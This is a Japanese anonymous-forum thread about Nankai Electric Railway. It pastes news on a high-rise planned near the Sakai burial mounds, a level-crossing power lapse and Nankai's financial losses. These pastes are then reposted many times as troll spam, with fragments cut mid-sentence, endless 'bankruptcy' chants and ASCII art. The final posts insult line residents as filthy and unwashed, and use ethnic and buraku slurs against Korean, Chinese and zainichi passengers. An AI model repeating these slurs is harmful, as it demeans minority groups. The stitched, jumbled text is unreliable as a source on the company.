登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とと
もに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起

爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配
されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉
田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を
越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」
世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml◆◇◆◇◆踏切の電源入れ忘れ作動せず８列車通過南海和歌山港線◆◇◆◇◆2006年10月20日20時46分和歌山市網屋町の南海和歌山港線「久保
町２号踏切」で２０日始発から午前８時半ごろまで、警報機や遮断機が作動せず、特急や急行など計８本の列車がそのまま通過した。未明にあった点検作業のため電源を切ったまま忘れていたのが原因という。現場は工場が密集
する地域で人通りは少なく、けが人はなかった。南海電気鉄道によると同日午前０時半ごろ、踏切や信号機などに電気を送る電源装置の定期点検のため、同線の踏切１１カ所の電源を切った。点検が終わった午前３時ごろから、
社員２人が電源を入れて回ったが、ここだけ復旧し忘れたという。午前８時５分ごろ、現場手前で急行列車の運転士が異常に気付き、本社に連絡した。同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底
する」としている。ttp://www.asahi.com/national/update/1020/OSK200610200054.html◆◇◆◇◆南海電鉄、不動産評価損２００億円旅館など７社解散へ◆◇◆◇◆南海電気鉄道は２５日、造成を当面凍結する分譲用地の評価

損約１９８億円を計上し、０７年３月期の当期利益見通しを７８億円から２３億円に下方修正した、と発表した。経営難の子会社など７社の解散も併せて明らかにした。同社は、沿線の和歌山県橋本市で開発を進めてきた「南海
橋本林間田園都市」（計画面積約６６８ヘクタール）の新たな造成を凍結、７０年前後に取得した山林約２００ヘクタールの評価を見直した。同都市の計画人口は約４万２０００人だが、現在は約１万２０００人にとどまってい
る。解散を決めたのは、昨年末で大阪市での営業を終えた「ホテル南海」、今月末でフェリーの運航を終了する「南海淡路ライン」、和歌山市の旅館を３月に地元企業に売却する「萬波楼」など。ttp://www.asahi.com/business
/update/0125/181.html南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社
の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している
。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の
置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九
億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は相変わらず
厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の

鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです
。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済
誌記者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、
連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する
怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大
の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下
ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘク
タール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部
では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界

文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。
ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める
要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャン
スと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、05年
9月当期赤字転落209.45億円、06年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見
通05年3月期実績売上高（百万円）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円）△20,9454,963△14,2005,490１株利益（円）
△39.909.45△27.0510.45発行済株式総数(千株）524,859525,266１株配当（円）0.000.00--4.00ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RTRS★★★★★★
★★★★★★★★★★南海電鉄、連結192.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:23JST［東京１
５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（百万円）12,71

910,682(+19.1%)経常利益（百万円）7,4384,79110,0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１株利益（円）△36.7312.65△20.9614.79営業活動ＣＦ（百万円）17,98220,236ttp://today.reuters.co.jp/
stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRS借入金は時価総額などと比べると実情が比較的表れます。南海借入金残高２６８，５８３百万円時価総額２２８，９８９百万円１１７．３
％（時価総額に占める借入金割合）阪急借入金残高５００，０２６百万円時価総額６７２，６５０百万円７４．３％阪神借入金残高１３４，７７４百万円時価総額３９６，３５３百万円３４．０％近鉄借入金残高４６９，６９８
百万円時価総額７５９，６８１百万円６１．８％京阪借入金残高１１４，１６４百万円時価総額２３９，９４７百万円４７．５％こう見れば各社の状態がわかる。南海は借入金が企業規模の割には大き過ぎるる上に金利が高い。
一線を越えてしまっている。近鉄も注意を要するが南海ほどでもない。京阪は底を脱したのが鮮明に。阪急は借入金はやや多いが金利は安く抜群の収益力でカバー。堅実派として名の通る阪神は借入金は元から少なめ。金利は高
いが収益力を考慮すれば問題はない。これでは社債は金利を高くしないと厳しいだろう。南海の運転ミスによる情けない事故の歴史●男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分の子供を抱えながら運転し
ていたことがバレて大問題に●羽倉崎事故…回送車両が車止めを越え更に道路向かいの仏壇屋へ特攻担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ」●住ノ江事故…同じく回送車両がATSを切った状態で
冒進、高架下のプールにダイブ未遂この運転士の言い訳は「急いで帰りたかった」＜住んでみたい街（関西）トップ10＞に、南海ヲタご自慢の「帝塚山」をはじめ南海沿線の街が１つも出てこなかった上、トップ10の街すべてを
阪急沿線に独占され、阪急にお話にもならない惨敗を喫した南海wしょせん、スラム街の南海沿線なんぞに住みたいなどというバカでキモい奴など、南海ヲタ以外には存在しないということが改めて証明された（ﾌﾟｹﾞﾗ住んでみた

い街（関西）トップは「芦屋」ソースttp://allabout.co.jp/house/townkansai/closeup/CU20060925A/現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情け
ない赤字南海&南海ヲタおらあああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝―
―＝≡三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海赤字南海ヲタが阪急萌えを自白「べっ別に阪急が好きだからこのスレに常駐してるんじ
ゃないんだからね！」ちゃんと全部書いたか？コピペ厨1000：名無し野電車区：2007/02/02(金)23:37:28ID:+/ydCh1z1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒
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字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら>15>50ああ見えてもﾁｿｶｽはツンデレなんだよ。「べっ、別に南海のことが嫌いじゃないんだからね！たっ、ただ赤字が
続いたりぼろい車両走らせてたら当にお客さんに見放されるんだから！本当に倒産されたら迷惑なだけよ！」次回南海都市伝説絵巻第51話8200に触れた男はいずこへ乞うご期待負け組の貧民御用達電車糞スレ決定

次回、南海都市伝説絵巻第52話長老の家を訪問そこで見たものとは！乞うご期待

おお、なんかいよはいしされるとはなさけないふたたび、このようなことがないようになではゆけなんかいよみづまてつどうがなかまになりたそうなめでこちらをみてる。なかまにしますか？ﾆｱはいいいえおお、みづてつよはい
しとはなさけないふたたび、このようなことがないようになではゆけみづてつよ引っ越し返し267：名無しでGO!：2007/02/03(土)18:31:49ID:F9uE45aN0字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒
産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産10
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字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南
海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒
産1000なら赤字南海倒産1000なら>15>50ああ見えてもﾁｿｶｽはツンデレなんだよ。「べっ、別に南海のことが嫌いじゃないんだからね！たっ、ただ赤字が続いたりぼろい車両走らせてたら当にお客さんに見放されるんだから！本当
に倒産されたら迷惑なだけよ！」次回南海都市伝説絵巻第51話8200に触れた男はいずこへ乞うご期待負け組の貧民御用達電車糞スレ決定引っ越し返し266：名無しでGO!：2007/02/03(土)18:31:18ID:F9uE45aN0い街（関西）トップ

は「芦屋」ソースttp: //allabout.co.jp/house/townkansai/closeup/CU20060925A/現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情けない赤字南海&南海
ヲタおらあああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝――＝≡三//￣￣´"'
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」ちゃんと全部書いたか？コピペ厨1000：名無し野電車区：2007/02/02(金)23:37:28ID:+ /ydCh1z1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海
倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産
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なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤引っ越し返し265：
名無しでGO!：2007/02/03(土)18:30:28ID:F9uE45aN0910,682(+19.1%)経常利益（百万円）7,4384,79110,0009,470(+55.2%)当期利益（百万円） △19,2456,616△11,0007,737１株利益（円）△36.7312.65△20.9614.79営業活動ＣＦ
（百万円） 17,98220,236ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64776+15 -Nov-2005+RTRS借入金は時価総額などと比べると実情が比較的表れます。南海借入金残高２６８，

５８３百万円時価総額２２８，９８９百万円１１７．３％（時価総額に占める借入金割合）阪急借入金残高５００，０２６百万円時価総額６７２，６５０百万円７４．３％阪神借入金残高１３４，７７４百万円時価総額３９６，
３５３百万円３４．０％近鉄借入金残高４６９，６９８百万円時価総額７５９，６８１百万円６１．８％京阪借入金残高１１４，１６４百万円時価総額２３９，９４７百万円４７．５％こう見れば各社の状態がわかる。南海は借
入金が企業規模の割には大き過ぎるる上に金利が高い。一線を越えてしまっている。近鉄も注意を要するが南海ほどでもない。京阪は底を脱したのが鮮明に。阪急は借入金はやや多いが金利は安く抜群の収益力でカバー。堅実派
として名の通る阪神は借入金は元から少なめ。金利は高いが収益力を考慮すれば問題はない。これでは社債は金利を高くしないと厳しいだろう。南海の運転ミスによる情けない事故の歴史●男里川事故…踏切でトラックと衝突し
て川へ転落後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に●羽倉崎事故…回送車両が車止めを越え更に道路向かいの仏壇屋へ特攻担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ
」●住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイブ未遂この運転士の言い訳は「急いで帰りたかった」＜住んでみたい街（関西）トップ10＞に、南海ヲタご自慢の「帝塚山」をはじめ南海沿線
の街が１つも出てこなかった上、トップ10の街すべてを阪急沿線に独占され、阪急にお話にもならない惨敗を喫した南海wしょせん、スラム街の南海沿線なんぞに住みたいなどというバカでキモい奴など、南海ヲタ以外には存在
しないということが改めて証明された（ﾌﾟｹﾞﾗ住んでみた264：名無しでGO!：2007/02/03(土)18:29:46ID:F9uE45aN0文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・
大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち

上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っ
ている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp: //www.sankei.co.jp/news/060419/evening/20iti001.htm★★★★★★★★★★★★
★★★★南海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、05年9月当期赤字転落209.45億円、06年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター
］2005年9月 (2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(- 23.
8%)経常利益（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円）△20,9454,963△14,2005,490１株利益（円）△39.909.45△27.0510.45発行済株式総数(千株）524,859525,266１株配当（円）0.000.00--4.00ttp: //today
.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RTRS★★★★★★★★★★★★★★★★南海電鉄、連結192.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044
.OS>：中間連結、05 年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04
年9月中間期06年3月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（百万円）12,71今後も引っ越し厨による「南海と関空 ５」スレttp://hobby9.2ch.net/test/read.cgi/train/1163947570/
l50に対する引っ越し荒らし行為が続く限り、報復として引っ越し返しを行うので、そのつもりで。

引っ越し荒らしが来たので、再度引っ越し返し272：名無しでGO!：2007/02/04(日)16:14:34ID:WvvOjstU0上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書
を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期
待している」。ttp: //www.sankei.co.jp/news/060419/evening/20iti001.htm★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、05年9月当
期赤字転落209.45億円、06年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月 (2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05
年3月期実績売上高（百万円）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(- 23.8%)経常利益（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円） △20,9454,963△14,2005,490１株利益（円）△3
9.909.45△27.0510.45発行済株式総数(千株） 524,859525,266１株配当（円）0.000.00--4.00ttp: //today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS& storyid=64783+15-Nov-2005+RTRS★★★★★★
★★★★★★★★★★南海電鉄、連結192.45億円の赤字転落 ★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05 年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:23JST［東京
１５日ロイター］2005年9 月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（百万円） 1
2,71今後も引っ越し厨による「南海と関空５」スレttp://hobby9.2ch.net/test/read.cgi/train/1163947570/l50に対する引っ越し荒らし行為が続く限り、報復として引っ越し返しを行うので、そのつもりで。引っ越し荒らしが

来たので、再度引っ越し返し271：名無しでGO!：2007/02/04(日)16:13:53ID:WvvOjstU0５８３百万円時価総額２２８，９８９百万円１１７．３％（時価総額に占める借入金割合）阪急借入金残高５００，０２６百万円時価総額６
７２，６５０百万円７４．３％阪神借入金残高１３４，７７４百万円時価総額３９６，３５３百万円３４．０％近鉄借入金残高４６９，６９８百万円時価総額７５９，６８１百万円６１．８％京阪借入金残高１１４，１６４百万
円時価総額２３９，９４７百万円４７．５％こう見れば各社の状態がわかる。南海は借入金が企業規模の割には大き過ぎるる上に金利が高い。一線を越えてしまっている。近鉄も注意を要するが南海ほどでもない。京阪は底を脱
したのが鮮明に。阪急は借入金はやや多いが金利は安く抜群の収益力でカバー。堅実派として名の通る阪神は借入金は元から少なめ。金利は高いが収益力を考慮すれば問題はない。これでは社債は金利を高くしないと厳しいだろ
う。南海の運転ミスによる情けない事故の歴史●男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に●羽倉崎事故…回送車両が車止めを越え更に道路向かい
の仏壇屋へ特攻担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ」●住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイブ未遂この運転士の言い訳は「急いで帰りたかった」＜
住んでみたい街（関西）トップ10＞に、南海ヲタご自慢の「帝塚山」をはじめ南海沿線の街が１つも出てこなかった上、トップ10の街すべてを阪急沿線に独占され、阪急にお話にもならない惨敗を喫した南海wしょせん、スラム
街の南海沿線なんぞに住みたいなどというバカでキモい奴など、南海ヲタ以外には存在しないということが改めて証明された（ﾌﾟｹﾞﾗ住んでみた264：名無しでGO!：2007/02/03(土)18:29:46ID:F9uE45aN0文化遺産登録に向け、マ
ンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学

文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち引っ越し荒らしが来たので、再度引っ越し返し270：名無しでGO!：2007/02/04(日)16:12:33ID:WvvOjstU0は「芦屋」ソースttp: //allabout.
co.jp/house/townkansai/closeup/CU20060925A/現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情けない赤字南海&南海ヲタおらあああ！！モギャ！∧＿∧
―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝――＝≡三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´
￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海赤字南海ヲタが阪急萌えを自白「べっ別に阪急が好きだからこのスレに常駐してるんじゃないんだからね！」ちゃんと全部書いたか？コピペ
厨1000：名無し野電車区：2007/02/02(金)23:37:28ID:+ /ydCh1z1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000な
ら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤
字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南
海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤引っ越し返し265：名無しでGO!：2007/02/03(土)18:3
0:28ID:F9uE45aN0910,682(+19.1%)経常利益（百万円） 7,4384,79110,0009,470(+55.2%)当期利益（百万円） △19,2456,616△11,0007,737１株利益（円）△36.7312.65△20.9614.79営業活動ＣＦ（百万円） 17,98220,236ttp://t

oday.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64776+15 -Nov-2005+RTRS借入金は時価総額などと比べると実情が比較的表れます。南海借入金残高２６８，引っ越し荒らしが来たので、再度
引っ越し返し269：名無しでGO!：2007/02/04(日)16:07:53ID:WvvOjstU0おお、なんかいよはいしされるとはなさけないふたたび、このようなことがないようになではゆけなんかいよみづまてつどうがなかまになりたそうなめでこ
ちらをみてる。なかまにしますか？ﾆｱはいいいえおお、みづてつよはいしとはなさけないふたたび、このようなことがないようになではゆけみづてつよ引っ越し返し267：名無しでGO!：2007/02/03(土)18: 31:49ID:F9uE45aN0字
南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海
倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産

1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000
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赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字
南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら>15>50ああ見えてもﾁｿｶｽはツンデレなんだよ。「べっ、別に南海のことが嫌いじゃないんだからね！たっ、ただ赤字が続
いたりぼろい車両走らせてたら当にお客さんに見放されるんだから！本当に倒産されたら迷惑なだけよ！」次回南海都市伝説絵巻第51話8200に触れた男はいずこへ乞うご期待負け組の貧民御用達電車糞スレ決定引っ越し返し266
：名無しでGO!：2007/02/03(土)18:31:18ID:F9uE45aN0い街（関西）トップ 報復されたくなければ、「南海と関空 ５」スレttp://hobby9.2ch.net/test/read.cgi/train/1163947570/l50
に対する引っ越し荒らし行為をやめるんだな

「えー、南海ヲタと一緒に帰って友達に噂されるとはずかしいし」

/ヽ/ヽ/ヽ/ヽ/ヽ＿＿/ヽ／＼/／＼｜|●●||.U（__人__）U|南海倒産・・・・・。ヽ/／＼/￣￣ヽ/￣ヽヽ＿＿＿＿＿＿＿／＼＿＿/自分にとって邪魔なものはなんでも排除したがるのが南海ヲタの特徴。田畑を踏み荒らし、勝手
に草を刈り、枝を切り、罵声を飛ばす。飲み食いしたゴミは置き去り。タバコはポイ捨て。まさに人間のクズの集合体だな。┌─────────────────────────┐│南海ヲタの人生のシャットダウン区|│
├─────────────────────────┤│直>実行する操作を選んでください(W)││┌────────────────┐│││シャットダウン|V|│││├────────────────┤│││ロ
グオフ＿││││シャットダウン|＼││││再起動＼││││スタンバイ││││休止状態│││└────────────────┘││┌───┐┌───┐┌────┐│││OK││ｷｬﾝｾﾙ││ﾍﾙﾌﾟ(H)│││└───
┘└───┘└────┘│└─────────────────────────┘ここの住民はほとんどが負け組底辺南海沿線愚民どもの集まる糞スレ

はいはい、迷惑がかかるとか偉そうなこと言ってるけど、南海ヲタの存在が何よりの迷惑だと言うことに気づけよ、南海ヲタ安心しろ最低の路線は南海線だ。路線や車両は普通だが乗客はDQNばっか。まあ南海沿線は日本でも下
から数えたほうが早いほど低＿民＿度だというのが事実だがなwwwモラルの低い人間が南海沿線に多いってことを少しは自覚しているのかな？まあそうだろうな！南海沿線は日本一のＤＱＮ路線だからな！！

つか、南海沿線の人ってボディーシャンプーや石鹸で体を洗うのが週に1回とか2週に1回だって知ってた？普段はお湯をかけるだけなんだってさ。マジびっくりした。正面きって向き合うのは正直苦痛だなんで南海沿線の人って
仏壇臭いの？お線香かな？電車の中はいつもすごい悪臭がするし南海沿線民って臭いに鈍感なのかな？南海沿線に来てからマスクが手放せないよ利用者の大半は、韓国人・中国人・在日。特亜DQNの３巨頭の揃い踏み。それだけ
でも痛いのに、b民が加わる。朝の出発ラッシュ時は、無秩序なカオス状態！しょうがないじゃん。実際に臭いんだから。だからどうしろって言うんだ？まともな人間はこの土地を離れていく。残るのはＤＱＮと年寄りだけ。年
寄りはその存在が悪臭を放ってるし若いＤＱＮはぺっぺっと道に唾を吐く。それがカッコいいと思われてる土地柄だからそこらじゅう唾だらけで街が臭いんだよ。臭いなんて他人の事を言える柄かオマエ等ものすごく腋の下が匂
